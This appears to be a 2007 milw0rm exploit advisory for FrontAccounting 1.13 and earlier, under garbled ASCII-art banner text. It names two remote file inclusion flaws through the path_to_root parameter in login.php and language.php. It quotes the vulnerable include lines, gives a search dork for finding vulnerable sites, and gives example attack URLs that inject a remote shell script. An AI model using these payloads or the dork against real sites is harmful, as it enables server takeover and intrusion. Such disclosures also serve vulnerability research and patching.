?????__________________________________________????? ????????_____________________________________??????? ???????????_________________________________???????? ??????????????_____________________________????????? ????????????????__________________________?????????? ???????????????????______________________??????????? ?????????????????????___________________???????????? ??????????????????????_________________????????????? ????????????????????????_______________????????????? ??????????????????????????_____________????????????? ___?????????????????????????__________?????????????? _____?????????????????????????________?????????????? ________???????????????????????_______?????????????? ___________??????????????????????_____?????????????? ________________???????????????????___?????????????? _____________________???????????????__?????????????? _ __________________________????????????????????????_ _____________________???????????????????????????____ ______________???????????????????????????????_______ ___________???????????????????????????????????______ ________????????????????????????????????????????____ ______????????_____??????????????????????????????___ ____?????????_______??????????????????????????????__ __???????????_______???????????????????????????????_ _?????????????_____????????????????????????????????? ???????????????????????????????????????????????????? ???????????????????????????????????????????????????? ???????????????????????????????????????????????????? ???????????????????????????????????????????????????? _??????????????????????????????????????????????????_ __?????????????????????????????????????????????????_ _____?????????????????????????????????????????????__ _____ ____????????????????????????????????????????___ _______________??????????????????????????????????___ _________________???????????????????????????????____ _________________???????????????????????????________ ________________??????????_____??????????___________ _________________?????_________?????_________?????__ __________????_________????____________?????????____ __________?????????????????_____??????????__________ __________?????????????????___?????_________________ __________?????______??????_________________________ #FrontAccounting version 1.13 <= Remote File Inclusion Vulnerability # #Dork:"FrontAccounting" # #Vuln Code ############################################################################################## # #ERROR1:accsess/login.php # # include_once($path_to_root . "/includes/ui/ui_view.inc"); <<< RFI # # # # #BUG1:login.php?path_to_root # #Example1:http://site.com/path/accsess/login.php?path_to_root=[[Sh3LLScript]] # ############################################################################################## ############################################################################################## # #ERROR2:includes/lang/language.php # # include_once($path_to_root . "/lang/installed_languages.inc"); # include_once($path_to_root . "/includes/lang/gettext.php"); <<< RFI # # # # #BUG2:includes/lang/language.php?path_to_root # #Example2:http://site.com/path/includes/lang/language.php?path_to_root=[[Sh3LLScript]] # ############################################################################################## # #http://sourceforge.net/projects/frontaccounting/ # ############################################################################################## # #>>>>>>>>>>>>>>>> coded by K3ZZAP66345<<<<<<<<<<<<< # #"Eli mouse tutan herkes kendini haykır zannedio."----------------"Eli opulcek cok insan var." # # #####specialthanx:###..Str0ke..####..KEZZAP66345..####..Wocker..############################## ############################################################################################## # milw0rm.com [2007-09-26]